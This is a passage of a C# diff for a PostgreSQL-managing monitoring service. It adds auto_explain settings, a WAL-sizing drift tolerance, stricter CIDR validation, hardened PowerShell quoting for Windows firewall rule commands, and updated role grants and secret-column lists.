+    /* ===================== v18 slow-statement plans (auto_explain, part of #5097) ===================== */
+
+    /// <summary>
+    /// The v18 block: <c>shared_preload_libraries</c> re-stated as the effective list plus
+    /// <see cref="StatementStatisticsLibrary"/> and <see cref="AutoExplainLibrary"/> (last), then the seven
+    /// <c>auto_explain.*</c> settings. See <see cref="ConfMarkerV18"/> for why the list is merged and why each
+    /// setting has its value. Carries no fingerprint or stamp line, so neither every-start check reads it, and
+    /// nothing in it, or in the code that writes it, restarts or reloads a running store.
+    /// </summary>
+    public static string BuildSlowPlanConfAppend(string? effectivePreloadList)
+    {
+        var builder = new StringBuilder();
+        builder.Append('\n');
+        builder.Append(ConfMarkerV18).Append('\n');
+        builder.Append(PreloadSetting).Append(" = '")
+            .Append(EscapeConfValue(MergePreloadLibraries(
+                effectivePreloadList, StatementStatisticsLibrary, AutoExplainLibrary)))
+            .Append("'\n");
+        builder.Append(AutoExplainLibrary).Append(".log_min_duration = 10s\n");
+        builder.Append(AutoExplainLibrary).Append(".log_analyze = off\n");
+        builder.Append(AutoExplainLibrary).Append(".log_format = json\n");
+        builder.Append(AutoExplainLibrary).Append(".log_nested_statements = off\n");
+        builder.Append(AutoExplainLibrary).Append(".log_verbose = on\n");
+        builder.Append(AutoExplainLibrary).Append(".log_settings = on\n");
+        builder.Append(AutoExplainLibrary).Append(".log_parameter_max_length = 0\n");
+        return builder.ToString();
+    }
+
     /* ===================== v17 log line prefix ===================== */
 
     /// <summary>
@@ -2440,6 +2585,29 @@ public static string BuildPlannerPageCostConfAppend()
     /// for the soft limit's overshoot, the store's own growth, and the disk-pressure self-alert.</summary>
     internal const int WalSizingFreeDiskDivisor = 8;
 
+    /// <summary>The verdict's drift tolerance on the WAL ladder (#5459): the share of the data volume's free
+    /// space (one eighth) the reading may have moved since the block was written before the stored
+    /// <c>max_wal_size</c> reads as stale. See <see cref="IsWalSizeWithinDriftOf"/>.</summary>
+    internal const int WalSizingVerdictToleranceDivisor = 8;
+
+    /// <summary>
+    /// Whether <paramref name="currentMaxWalSizeMb"/> is a rung the ladder would pick for ANY free-space reading
+    /// within one eighth of <paramref name="freeDiskBytesOnDataVolume"/> either way (#5459). The writer re-derives
+    /// a rung at each service start, but the host profile and the stored verdicts re-derive from a LATER reading
+    /// of a volume that other work keeps filling and emptying; a volume sitting within a few hundred MB of a rung
+    /// edge (16, 32, 64 or 128 GB free) therefore read "stale after a hardware change" on a store nobody had
+    /// touched. A real hardware change halves or doubles the headroom, which moves the rung by far more than this
+    /// band, so it still reads stale. The ladder is monotonic, so the two ends bound every rung in between.
+    /// </summary>
+    internal static bool IsWalSizeWithinDriftOf(long freeDiskBytesOnDataVolume, long currentMaxWalSizeMb)
+    {
+        var free = Math.Max(0L, freeDiskBytesOnDataVolume);
+        var slack = free / WalSizingVerdictToleranceDivisor;
+        var low = DeriveWalSettings(free - slack).MaxWalSizeMb;
+        var high = DeriveWalSettings(free + slack).MaxWalSizeMb;
+        return currentMaxWalSizeMb >= low && currentMaxWalSizeMb <= high;
+    }
+
     /// <summary>
     /// The PostgreSQL major whose release notes moved <c>checkpoint_completion_target</c>'s default from 0.5 to
     /// 0.9 (PostgreSQL 14, E.25.3.1.9: <i>"Change checkpoint_completion_target default to 0.9 (Stephen Frost).
@@ -2495,6 +2663,34 @@ internal static WalSettings DeriveWalSettings(long freeDiskBytesOnDataVolume)
         return new WalSettings((int)(maxWal / oneMb), (int)(minWal / oneMb));
     }
 
+    /// <summary>
+    /// <see cref="DeriveWalSettings(long)"/> for the managed file's render (#5459), which re-derives at every
+    /// service start from a reading of a volume that other work keeps filling and emptying. When
+    /// <paramref name="inForceMaxWalSizeMb"/> is a rung of the ladder that <see cref="IsWalSizeWithinDriftOf"/>
+    /// accepts for this reading, the answer is that rung's settings: the file already holds it, and a reading a
+    /// few hundred MB across a ladder edge is not a change in headroom. Anything else, a null, a value off the
+    /// ladder, or a rung one eighth of the free space away or more, derives plainly from the reading, so a real
+    /// halving or doubling of the headroom still moves the rung.
+    /// </summary>
+    internal static WalSettings DeriveWalSettings(long freeDiskBytesOnDataVolume, long? inForceMaxWalSizeMb)
+    {
+        const long oneMb = 1024L * 1024L;
+
+        if (inForceMaxWalSizeMb is > 0 and var inForce && inForce <= WalSizingCeilingBytes / oneMb
+            && IsWalSizeWithinDriftOf(freeDiskBytesOnDataVolume, inForce))
+        {
+            /* The free space that derives exactly this rung: <c>rung * divisor</c>. A value that is not a rung
+               derives to a different one, which the equality below turns away. */
+            var atRung = DeriveWalSettings(inForce * oneMb * WalSizingFreeDiskDivisor);
+            if (atRung.MaxWalSizeMb == inForce)
+            {
+                return atRung;
+            }
+        }
+
+        return DeriveWalSettings(freeDiskBytesOnDataVolume);
+    }
+
     /// <summary>
     /// Whether the v12 block emits <c>checkpoint_completion_target = 0.9</c> for a store on this PostgreSQL
     /// major: only BELOW 14, where the default was 0.5 (see
@@ -2544,6 +2740,53 @@ internal static string BuildWalSizingStamp(WalSettings settings, int postgresMaj
     internal static bool ConfHasCurrentWalSizingStamp(string conf, string expectedStamp)
         => LastLineWithPrefixEquals(conf, ConfWalSizingStampPrefix, expectedStamp);
 
+    /// <summary>
+    /// True when the MOST RECENT v12 stamp in the conf names the same PostgreSQL major as
+    /// <paramref name="postgresMajor"/> and a <c>max_wal_size</c> that <see cref="IsWalSizeWithinDriftOf"/>
+    /// accepts for <paramref name="freeDiskBytesOnDataVolume"/> (#5459). The writer's twin of the verdict
+    /// tolerance, through the same function so the two cannot disagree: a volume whose reading crosses a rung
+    /// edge back and forth between starts keeps the block it wrote instead of appending a new one on every
+    /// crossing. A different major, a halved or doubled headroom, a stamp that does not parse, or no stamp at
+    /// all is not "within drift" and the caller appends as before.
+    /// </summary>
+    internal static bool ConfHasWalSizingStampWithinDrift(string conf, long freeDiskBytesOnDataVolume, int postgresMajor)
+        => ConfHasWalSizingStampWithinDrift(conf, freeDiskBytesOnDataVolume, postgresMajor, out _, out _);
+
+    /// <summary>
+    /// The same test, handing back the <c>max_wal_size</c> and <c>min_wal_size</c> (MB) the stamp names, from the
+    /// one parse that decides it (#5459). The caller's "kept" log line names the values IN FORCE, which are the
+    /// stamp's, not the ones this start's reading would derive. Both are 0 when the stamp is absent or does not
+    /// parse; they are set whenever it parses, whether or not the verdict is "within drift".
+    /// </summary>
+    internal static bool ConfHasWalSizingStampWithinDrift(
+        string conf, long freeDiskBytesOnDataVolume, int postgresMajor, out long stampMaxWalMb, out long stampMinWalMb)
+    {
+        stampMaxWalMb = 0;
+        stampMinWalMb = 0;
+        var lastIndex = conf.LastIndexOf(ConfWalSizingStampPrefix, StringComparison.Ordinal);
+        if (lastIndex < 0)
+        {
+            return false;
+        }
+
+        var lineEnd = conf.IndexOf('\n', lastIndex);
+        var line = (lineEnd < 0 ? conf[lastIndex..] : conf[lastIndex..lineEnd]).TrimEnd('\r');
+        var match = System.Text.RegularExpressions.Regex.Match(
+            line, @"max_wal_size_mb=(\d+) min_wal_size_mb=(\d+) pg_major=(\d+)$",
+            System.Text.RegularExpressions.RegexOptions.CultureInvariant);
+        if (!match.Success
+            || !int.TryParse(match.Groups[3].Value, System.Globalization.NumberStyles.None, System.Globalization.CultureInfo.InvariantCulture, out var stampMajor)
+            || !long.TryParse(match.Groups[1].Value, System.Globalization.NumberStyles.None, System.Globalization.CultureInfo.InvariantCulture, out stampMaxWalMb)
+            || !long.TryParse(match.Groups[2].Value, System.Globalization.NumberStyles.None, System.Globalization.CultureInfo.InvariantCulture, out stampMinWalMb))
+        {
+            stampMaxWalMb = 0;
+            stampMinWalMb = 0;
+            return false;
+        }
+
+        return stampMajor == postgresMajor && IsWalSizeWithinDriftOf(freeDiskBytesOnDataVolume, stampMaxWalMb);
+    }
+
     /// <summary>
     /// The v12 block (#3802): the marker, the stamp, one comment line recording the headroom it was derived
     /// from (so an operator reading postgresql.conf later can see WHY 8192MB without the service log), then
@@ -2556,9 +2799,10 @@ internal static bool ConfHasCurrentWalSizingStamp(string conf, string expectedSt
     /// Supersedes v4's fixed <c>max_wal_size = 4GB</c> by last-occurrence-wins and restates nothing else — the
     /// blocks compose, they do not compete.</para>
     /// </summary>
-    internal static string BuildWalSizingConfAppend(long freeDiskBytesOnDataVolume, long totalDiskBytesOnDataVolume, int postgresMajor)
+    internal static string BuildWalSizingConfAppend(
+        long freeDiskBytesOnDataVolume, long totalDiskBytesOnDataVolume, int postgresMajor, long? inForceMaxWalSizeMb = null)
     {
-        var settings = DeriveWalSettings(freeDiskBytesOnDataVolume);
+        var settings = DeriveWalSettings(freeDiskBytesOnDataVolume, inForceMaxWalSizeMb);
         var builder = new StringBuilder();
         builder.Append('\n');
         builder.Append(ConfMarkerV12).Append('\n');
@@ -3536,7 +3780,12 @@ no fault here worth surfacing over the failure that is already being reported. *
     /// has only ever been reachable on Windows.</para>
     /// </summary>
     [SupportedOSPlatform("windows")]
-    internal void EnsureConfAppended(string dataDirectory)
+    internal void EnsureConfAppended(string dataDirectory) => EnsureConfAppended(dataDirectory, null);
+
+    /// <summary><see cref="EnsureConfAppended(string)"/> with the data-volume read replaceable, so a test can say
+    /// what free space each start sees (#5459). Production always passes null.</summary>
+    [SupportedOSPlatform("windows")]
+    internal void EnsureConfAppended(string dataDirectory, Func<string, (long AvailableFreeBytes, long TotalBytes)>? readVolumeSpace)
     {
         var confPath = Path.Combine(dataDirectory, "postgresql.conf");
         if (!File.Exists(confPath))
@@ -3765,7 +4014,7 @@ would have re-applied that shared block's list-valued shared_preload_libraries a
            from a figure we could not read is worse than leaving the block in force. All three settings are
            SIGHUP-context and this runs before pg_ctl start, so a service-owned start applies them at once. */
         var v12Major = DarlingStoreUpgrade.TryReadDataDirectoryMajor(dataDirectory) ?? 0;
-        if (!TryReadDataVolumeSpace(dataDirectory, out var v12FreeBytes, out var v12TotalBytes))
+        if (!TryReadDataVolumeSpace(dataDirectory, out var v12FreeBytes, out var v12TotalBytes, readVolumeSpace))
         {
             _logger.LogWarning(
                 "Skipped the v12 WAL-sizing check: the free space on the volume holding {DataDirectory} could not be read, so a change in headroom cannot be distinguished from a failed reading. The WAL settings currently in force (the last v12 block if one exists, otherwise v4's max_wal_size = 4GB) stay in force.",
@@ -3783,7 +4032,12 @@ from a figure we could not read is worse than leaving the block in force. All th
                they are looking at. */
             LogWalSizingAutoConfOverrides(dataDirectory, v12Settings);
 
-            if (!ConfHasCurrentWalSizingStamp(conf, v12Stamp))
+            var v12SameStamp = ConfHasCurrentWalSizingStamp(conf, v12Stamp);
+            long v12InForceMaxWalMb = 0;
+            long v12InForceMinWalMb = 0;
+            var v12WithinDrift = !v12SameStamp
+                && ConfHasWalSizingStampWithinDrift(conf, v12FreeBytes, v12Major, out v12InForceMaxWalMb, out v12InForceMinWalMb);
+            if (!v12SameStamp && !v12WithinDrift)
             {
                 File.AppendAllText(confPath, BuildWalSizingConfAppend(v12FreeBytes, v12TotalBytes, v12Major));
                 _logger.LogInformation(
@@ -3795,9 +4049,22 @@ they are looking at. */
                 /* The self-proving shape (#3802): a re-derivation that changes nothing still says what it
                    derived and from what, so a start with no append is distinguishable from a start that never
                    checked. */
-                _logger.LogInformation(
-                    "Managed store WAL sizing (v12): max_wal_size {MaxWal}MB, min_wal_size {MinWal}MB from {FreeGb} GB free of {TotalGb} GB on the data volume — unchanged, the block in force was derived to the same rung; checkpoint_completion_target {CheckpointNote}.",
-                    v12Settings.MaxWalSizeMb, v12Settings.MinWalSizeMb, FormatGb(v12FreeBytes), FormatGb(v12TotalBytes), v12CheckpointNote);
+                if (!v12WithinDrift)
+                {
+                    _logger.LogInformation(
+                        "Managed store WAL sizing (v12): max_wal_size {MaxWal}MB, min_wal_size {MinWal}MB from {FreeGb} GB free of {TotalGb} GB on the data volume — unchanged, the block in force is kept (the same rung: this reading derives the block in force); checkpoint_completion_target {CheckpointNote}.",
+                        v12Settings.MaxWalSizeMb, v12Settings.MinWalSizeMb, FormatGb(v12FreeBytes), FormatGb(v12TotalBytes), v12CheckpointNote);
+                }
+                else
+                {
+                    /* #5459: the block kept is the stamp's, not this reading's. Near a rung the two differ, so
+                       the line names the values in force and the value this reading derives, and says the
+                       reading is inside the drift tolerance, rather than naming a size that is not in force. */
+                    _logger.LogInformation(
+                        "Managed store WAL sizing (v12): max_wal_size {InForceMaxWal}MB, min_wal_size {InForceMinWal}MB in force and kept; this reading ({FreeGb} GB free of {TotalGb} GB on the data volume) derives max_wal_size {MaxWal}MB, min_wal_size {MinWal}MB, which is within the drift tolerance of the block in force; checkpoint_completion_target {CheckpointNote}.",
+                        v12InForceMaxWalMb, v12InForceMinWalMb, FormatGb(v12FreeBytes), FormatGb(v12TotalBytes),
+                        v12Settings.MaxWalSizeMb, v12Settings.MinWalSizeMb, v12CheckpointNote);
+                }
             }
         }
 
@@ -3880,6 +4147,22 @@ applies it on the very start that writes the block. */
                 "Appended v17 log line prefix to postgresql.conf (log_line_prefix = '%m [%p] %a '): the store's own log now names the application behind each line. Effective on this start when the service owns it.");
         }
 
+        /* v18 (part of #5097): auto_explain. Keyed on its marker's absence and placed after v17, so it is the
+           block this method appends LAST, matching its place at the end of AllManagedConfMarkers. Like v13 it
+           RE-READS the preload chain instead of trusting `conf`: `conf` predates the v1 and v13 appends this
+           same call may have just made, and a merge from it would drop timescaledb. It adds no restart, stop
+           or reload: this runs before pg_ctl start, so a start the service owns loads the library, and the
+           adopted-listener case waits for the next one. */
+        if (!conf.Contains(ConfMarkerV18, StringComparison.Ordinal))
+        {
+            var v18PreloadChain = ReadConfAssignments(confPath, PreloadSetting);
+            var v18EffectivePreload = v18PreloadChain.Count == 0 ? null : v18PreloadChain[^1].Value;
+            File.AppendAllText(confPath, BuildSlowPlanConfAppend(v18EffectivePreload));
+            _logger.LogInformation(
+                "Appended v18 slow-statement plans to postgresql.conf (shared_preload_libraries = '{Libraries}', auto_explain.log_min_duration = 10s): a store statement that runs past ten seconds will leave its plan in the store's log. The preload is restart-only: it loads on this start when the service owns it, otherwise on the next start it owns.",
+                MergePreloadLibraries(v18EffectivePreload, StatementStatisticsLibrary, AutoExplainLibrary));
+        }
+
         LogStatementStatisticsPreloadCoverage(dataDirectory);
     }
 
@@ -3951,12 +4234,6 @@ internal ManagedConfWriteResult WriteManagedConfFile(string dataDirectory, int p
     {
         var managedPath = Path.Combine(dataDirectory, ManagedConfFile.FileName);
         var inputs = GatherManagedConfRenderInputs(dataDirectory, postgresMajor);
-        var rendered = ManagedConfFile.Render(inputs);
-        var renderOverride = TestOnlyRenderOverride.Value;
-        if (renderOverride is not null)
-        {
-            rendered = renderOverride(rendered);
-        }
 
         string? existingText = null;
         try
@@ -3971,6 +4248,24 @@ internal ManagedConfWriteResult WriteManagedConfFile(string dataDirectory, int p
             _logger.LogWarning("Could not read {Path} ({Message}); writing a fresh one.", managedPath, ex.Message);
         }
 
+        /* #5459: the free-space reading moves by a few hundred MB between two starts on a busy machine. Read next
+           to a ladder edge (16, 32, 64 or 128 GiB free) it would derive another max_wal_size from nothing but that
+           churn, give the body another hash, and rewrite a file nothing had changed. The file's own rung is an
+           input to the render, kept while it is within the tolerance the settings check and the stored verdicts
+           already share (IsWalSizeWithinDriftOf); halved or doubled headroom still moves it. A hand edit is
+           never read, so its diff against a fresh render below is still the plain derivation. */
+        if (existingText is not null)
+        {
+            inputs = inputs with { InForceMaxWalSizeMb = ManagedConfFile.ReadInForceMaxWalSizeMb(existingText) };
+        }
+
+        var rendered = ManagedConfFile.Render(inputs);
+        var renderOverride = TestOnlyRenderOverride.Value;
+        if (renderOverride is not null)
+        {
+            rendered = renderOverride(rendered);
+        }
+
         if (existingText is not null && ManagedConfFile.IsHandEdited(existingText))
         {
             var existingBody = ManagedConfFile.ParseExisting(existingText).Body;
@@ -4187,7 +4482,7 @@ internal bool TryReadDataVolumeSpace(
     {
         try
         {
-            (freeBytes, totalBytes) = (readVolumeSpace ?? DarlingStoreUpgrade.ReadVolumeSpace)(dataDirectory);
+            (freeBytes, totalBytes) = (readVolumeSpace ?? TestOnlyVolumeSpaceReader ?? DarlingStoreUpgrade.ReadVolumeSpace)(dataDirectory);
             if (freeBytes >= 0 && totalBytes > 0)
             {
                 return true;
@@ -5008,10 +5303,20 @@ internal static NetworkExposureDecision ResolveNetworkExposure(PostgresNetworkCo
                 $"postgres.network.listen '{network.Listen}' is not a valid IP address (use a specific IP, e.g. 192.168.1.205, or 0.0.0.0 for all interfaces)");
         }
 
-        if (string.IsNullOrWhiteSpace(network.AllowFrom) || !IPNetwork.TryParse(network.AllowFrom.Trim(), out var cidr))
+        /* #5288: the same plain-spelling rule as the MCP and web allowFrom lists (Hosting.CidrAllowList): the
+           address is four plain decimal numbers (no leading zero, no short or hex form) and carries no IPv6 zone
+           index. IPNetwork.TryParse alone would read 192.168.010.0/24 as 192.168.8.0/24, and this value feeds the
+           pg_hba line and the firewall rule, so the range written is the range enforced. Checked as written,
+           before the host bits are masked. */
+        if (string.IsNullOrWhiteSpace(network.AllowFrom)
+            || !IPNetwork.TryParse(network.AllowFrom.Trim(), out var cidr)
+            || !Hosting.CidrAllowList.IsPlainCidrText(network.AllowFrom.Trim()))
         {
             return Degrade(
-                $"postgres.network.allowFrom '{network.AllowFrom}' is not a valid CIDR (e.g. 192.168.1.0/24, with host bits zeroed)");
+                $"postgres.network.allowFrom '{network.AllowFrom}' is not a valid CIDR. The store takes ONE range in CIDR form "
+                + "(e.g. 192.168.1.0/24, or /32 for one address), never a list. Host bits are masked, not refused "
+                + "(192.168.1.5/24 means 192.168.1.0/24). Write an IPv4 address as four plain decimal numbers "
+                + "(no leading zeros, no short or hex form), and leave off any IPv6 zone index (%)");
         }
 
         if (cidr.BaseAddress.AddressFamily != listenIp.AddressFamily)
@@ -5040,7 +5345,7 @@ the postmaster. Gate on it (D6) and degrade rather than ever start ssl=on with a
                 "move postgres.dataDirectory to a space-free path to expose the store over TLS");
         }
 
-        /* Canonical base/prefix form (IPNetwork requires zeroed host bits) for the pg_hba line + firewall. */
+        /* Canonical base/prefix form (IPNetwork.TryParse masked any host bits) for the pg_hba line + firewall. */
         return new NetworkExposureDecision(true, listenIp.ToString(), $"{cidr.BaseAddress}/{cidr.PrefixLength}", roles, null);
 
         static NetworkExposureDecision Degrade(string reason) => new(false, null, null, null, reason);
@@ -5641,21 +5946,88 @@ private static bool LiveListenHasNonLoopback(string liveListenAddresses)
     /// <summary>
     /// PowerShell single-quoted literal. Inside <c>'…'</c> PowerShell expands nothing — no <c>$</c>, no
     /// backtick escapes, no subexpressions — so the ONE metacharacter is the quote itself, escaped by
-    /// doubling it. Every value the firewall builders interpolate goes through this (#1646): the builders
-    /// are then safe no matter what a caller hands them, INDEPENDENT of the caller-side CIDR parse that is
-    /// the primary fix. The rule names are internally generated and contain no quotes, so quoting them
-    /// leaves the emitted command byte-for-byte what it has always been.
+    /// doubling it. PowerShell reads FIVE characters as a single quote: the apostrophe U+0027 and the
+    /// typographic U+2018, U+2019, U+201A and U+201B (it closes a single-quoted string on any of them, and a
+    /// quote character followed by another stands for one quote inside the string), so all five are doubled
+    /// — the same rule as the PowerShell SDK's <c>CodeGeneration.EscapeSingleQuotedStringContent</c>. Every
+    /// value the firewall builders interpolate goes through this (#1646): the builders are then safe no
+    /// matter what a caller hands them, INDEPENDENT of the caller-side CIDR parse that is the primary fix.
+    /// The rule names are internally generated and contain no quotes, so quoting them leaves the emitted
+    /// command byte-for-byte what it has always been.
     /// <para><c>internal</c> so <see cref="DarlingFirewallCheck.BuildProbeCommand"/> escapes the rule name
     /// through this same one helper rather than growing a second, subtly different quoting rule (#1771).</para>
     /// </summary>
     internal static string SingleQuotedPowerShell(string value)
-        => "'" + value.Replace("'", "''", StringComparison.Ordinal) + "'";
+    {
+        var quoted = new StringBuilder(value.Length + 2);
+        quoted.Append('\'');
+        foreach (var c in value)
+        {
+            quoted.Append(c);
+            if (c is '\'' or '‘' or '’' or '‚' or '‛')
+            {
+                quoted.Append(c);
+            }
+        }
+
+        return quoted.Append('\'').ToString();
+    }
 
     /// <summary>Idempotent-named enable command (remove-by-name then add) — the exact scoped command the docs
-    /// lead with (D1). Pure + testable.</summary>
+    /// lead with (D1). Pure + testable.
+    ///
+    /// <para>#5288: <paramref name="remoteCidr"/> is ONE CIDR, or the CANONICAL comma-joined list
+    /// (<c>CidrAllowList.ToString()</c>, the text <c>FirewallRulePlan.Cidr</c> and both hosts carry). Each
+    /// element is single-quoted on its own and the elements are joined by <c>,</c> with no spaces — PowerShell's
+    /// array syntax, which <c>-RemoteAddress</c> takes: <c>-RemoteAddress '10.8.0.0/16','192.168.1.5/32'</c>.
+    /// ONE CIDR is byte-for-byte what it was before the list existed: <c>-RemoteAddress '192.168.1.0/24'</c>.
+    /// An EMPTY element (a blank value, a doubled comma, a trailing comma) throws
+    /// <see cref="ArgumentException"/> instead of emitting <c>''</c>: a rule scoped by a quietly dropped entry
+    /// is the wrong way to find a typo. An element holding a character outside an address and prefix length
+    /// (<c>0-9</c>, <c>A-F</c>, <c>a-f</c>, <c>:</c>, <c>.</c>, <c>/</c>) throws as well, so only an address-shaped
+    /// element is ever quoted into the command. This is still no parser — the split is on the already-canonical
+    /// text and does no parsing and no trimming (<see cref="Hosting.CidrAllowList"/> owns those) — and each
+    /// element is one single-quoted literal through <see cref="SingleQuotedPowerShell"/> (#1646).</para></summary>
     internal static string BuildFirewallEnableCommand(string ruleName, int port, string remoteCidr)
         => $"Remove-NetFirewallRule -DisplayName {SingleQuotedPowerShell(ruleName)} -ErrorAction SilentlyContinue; " +
-           $"New-NetFirewallRule -DisplayName {SingleQuotedPowerShell(ruleName)} -Direction Inbound -Action Allow -Protocol TCP -LocalPort {port} -RemoteAddress {SingleQuotedPowerShell(remoteCidr)} | Out-Null";
+           $"New-NetFirewallRule -DisplayName {SingleQuotedPowerShell(ruleName)} -Direction Inbound -Action Allow -Protocol TCP -LocalPort {port} -RemoteAddress {QuotedRemoteAddressList(remoteCidr)} | Out-Null";
+
+    /// <summary>#5288: the <c>-RemoteAddress</c> value for <see cref="BuildFirewallEnableCommand"/> — every
+    /// comma-separated element through <see cref="SingleQuotedPowerShell"/>, joined by <c>,</c>. Throws
+    /// <see cref="ArgumentException"/> on an empty (or whitespace-only) element rather than emitting <c>''</c>,
+    /// and on an element holding any character outside <c>[0-9A-Fa-f:./]</c> (an address and prefix length) —
+    /// a quote, a space, a semicolon — rather than quoting it.</summary>
+    private static string QuotedRemoteAddressList(string remoteCidr)
+    {
+        ArgumentNullException.ThrowIfNull(remoteCidr);
+
+        var elements = remoteCidr.Split(',');
+        for (var i = 0; i < elements.Length; i++)
+        {
+            if (string.IsNullOrWhiteSpace(elements[i]))
+            {
+                throw new ArgumentException(
+                    "The firewall -RemoteAddress list has an empty element (a blank value, a doubled comma or a " +
+                    "trailing comma); refusing to emit an empty -RemoteAddress.",
+                    nameof(remoteCidr));
+            }
+
+            foreach (var c in elements[i])
+            {
+                if (c is not ((>= '0' and <= '9') or (>= 'A' and <= 'F') or (>= 'a' and <= 'f') or ':' or '.' or '/'))
+                {
+                    throw new ArgumentException(
+                        $"The firewall -RemoteAddress list element {i + 1} holds a character outside an address and " +
+                        "prefix length (0-9, A-F, ':', '.', '/'); refusing to emit it.",
+                        nameof(remoteCidr));
+                }
+            }
+
+            elements[i] = SingleQuotedPowerShell(elements[i]);
+        }
+
+        return string.Join(",", elements);
+    }
 
     /// <summary>
     /// Idempotent-named disable command (remove-by-name). Pure + testable.
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs
index dc7b0547c9..41d0aca6d5 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs
@@ -13,6 +13,7 @@
 using System.IO;
 using System.Linq;
 using System.Runtime.Versioning;
+using System.Text.RegularExpressions;
 using System.Threading;
 using System.Threading.Tasks;
 using Microsoft.Extensions.Logging;
@@ -35,9 +36,16 @@ namespace PerformanceMonitor.Darling.Service;
 /// dashboard's write surfaces run as this role, so it holds INSERT/UPDATE/DELETE on
 /// <c>config.custom_views</c> (#1563, the user-authored view definitions), <c>config.custom_alert_rules</c>
 /// (#3285, the user-authored alert rules), <c>config.database_state_expected</c> (#1986, the Viewer's
-/// per-database override editor) and <c>config.config_mute_rules</c> (#3450, the dedicated mute-rule
-/// endpoints — plus the two <c>config_service</c> beacon columns its bump trigger writes as the caller).
-/// All non-secret tables; over the web, editing is gated server-side by the host's auth + the seat model
+/// per-database override editor), <c>config.server_tags</c> and <c>config.server_tag_map</c> (#5085, the
+/// server-tag endpoints) and <c>config.config_mute_rules</c> (#3450, the dedicated mute-rule
+/// endpoints — plus the two <c>config_service</c> beacon columns its bump trigger writes as the caller), and
+/// the single <c>dismissed</c> column of <c>config.config_alert_log</c> (#4843, the web Alert History dismiss),
+/// and INSERT (never DELETE, and no UPDATE of any kind) on <c>config.config_monitored_servers</c> (#4843, the web
+/// add-server route, which runs the <c>add_servers</c> core; #5240, the web edit route, which holds no UPDATE on the
+/// table and edits through <c>config.edit_monitored_server</c>, a function the batch grants EXECUTE on to viewer and
+/// mcp; the <c>encrypted_password</c> column stays SELECT-carved, so the web host can write a password blob and
+/// never read one back).
+/// Every table is non-secret-keyed; over the web, editing is gated server-side by the host's auth + the seat model
 /// (an OIDC viewer seat is refused every write) — these grants are only the floor beneath that gate. A
 /// locked-down deployment points the Viewer at this role, and its WPF surfaces still read as "look but
 /// don't touch": the read-only probe discriminates on a privilege this role never gets
@@ -52,7 +60,8 @@ namespace PerformanceMonitor.Darling.Service;
 /// the single non-secret <c>email_cooldown_minutes</c> column of <c>config.config_notification</c>, plus the
 /// two beacon columns of <c>config.config_service</c> so the settings write's self-bump trigger can fire),
 /// and the server-onboarding writes (INSERT/UPDATE/DELETE on <c>config.config_monitored_servers</c> for the
-/// <c>add_servers</c>/<c>remove_server</c> tools — a single non-secret-KEY table; the credential column stays
+/// <c>add_servers</c>/<c>remove_server</c> tools — a single non-secret-KEY table; INSERT/UPDATE/DELETE on
+/// <c>config.server_tags</c> and <c>config.server_tag_map</c> (the fleet server-tag tools, #5085); the credential column stays
 /// SELECT-carved, so <c>mcp</c> can WRITE a password blob but never READ one back).
 /// Deliberately NOT <c>admin</c>: a token-holder reachable over the network must never get the
 /// <c>config_command</c> service-credential pivot or the secret columns. Every write grant is an EXPLICIT
@@ -156,13 +165,21 @@ operator has to be able to audit without holding the secret. It is also how the
                    learns a server is armed at all: the phase-1 surface exists when this is non-null, so a
                    `viewer` seat that could not read it would see no surface on an armed server. */
                 "remediation_username",
+                /* V169 (#5452): the AWS role Darling assumes for an RDS or Aurora target, and whether an external
+                   ID is stored with it. Non-secret: an account id is an identifier, not a credential, and the
+                   viewer has to be able to SHOW which role a target uses. The flag lets it show that an
+                   external ID is set without ever being able to read the ID. */
+                "aws_role_arn", "aws_external_id_set",
             },
             /* remediation_encrypted_password is the same kind of thing as encrypted_password beside it: a
                DPAPI blob whose whole purpose is to authenticate a WRITE to a monitored server, so if
                anything in this table is secret it is. Named explicitly rather than left unclassified
                because unclassified is only invisible until someone "fixes" the failing security gate by
                adding the column to whichever list is nearer. */
-            SecretColumns: new[] { "encrypted_password", "remediation_encrypted_password" }),
+            /* aws_external_id (V169, #5452) is write-only for these roles. AWS does not treat an external ID as
+               a secret, but a role that trusts a whole account plus an external ID is only as closed as that ID
+               is private, so it is named here rather than left unclassified. */
+            SecretColumns: new[] { "encrypted_password", "remediation_encrypted_password", "aws_external_id" }),
 
         new ViewerSecretTableAcl(
             "config_command",
@@ -180,6 +197,12 @@ adding the column to whichever list is nearer. */
                 "id", "smtp_host", "smtp_port", "smtp_use_ssl", "smtp_from_address", "smtp_recipients",
                 "email_cooldown_minutes", "teams_proxy", "slack_proxy", "modified_at",
                 "generic_body_template", "generic_proxy", "pagerduty_use_eu_region", "pagerduty_proxy",
+                /* V166. Non-secret: which lifecycle a PagerDuty recovery rides — the shipped info-trigger or
+                   the opt-in close — is behaviour, exactly as sensitive as pagerduty_use_eu_region beside
+                   it. The fail-closed design is why it must be named at all: unclassified stays invisible
+                   to the read roles and the live security gate fails until someone decides which side it
+                   is on. */
+                "pagerduty_auto_resolve",
             },
             /* generic_headers carries the Authorization bearer token itself, and generic_url is a bearer
                secret like the sibling webhook URLs (#1506 / V26). pagerduty_routing_key is the Events API v2
@@ -354,6 +377,286 @@ public static async Task<ComposeStoreProvisioning> EnsureComposeStoreProvisioned
         return ComposeStoreProvisioning.Succeeded(applied, viewer.Password, mcp.Password);
     }
 
+    /// <summary>
+    /// The advisory-lock key every role-provisioning write takes (#5560): "DARLROLE" in ASCII. Distinct from the
+    /// migration lock's key on purpose, so a long migration never makes a provisioning start wait for it.
+    /// </summary>
+    internal const long ProvisioningLockKey = 0x4441524C_524F4C45;
+
+    /// <summary>
+    /// How long a provisioning write waits for <see cref="ProvisioningLockKey"/> before it stops waiting and runs
+    /// without it (#5560). A real sibling's batch takes well under this, so the wait only runs out when something
+    /// else is holding the key, and the write must not stall behind that.
+    /// </summary>
+    internal const int ProvisioningLockWaitSeconds = 12;
+
+    /// <summary>How often the wait for <see cref="ProvisioningLockKey"/> asks again.</summary>
+    internal const int ProvisioningLockPollMilliseconds = 1000;
+
+    /// <summary>
+    /// How many times a write that fails with a concurrent-write code (<see cref="IsConcurrentProvisioningConflict"/>) is run again, each time in a fresh
+    /// transaction (#5560). Three runs in all.
+    /// </summary>
+    internal const int ProvisioningConcurrentUpdateRetries = 2;
+
+    /// <summary>The savepoint a read inside the locked transaction takes, so a read that fails and is answered with a
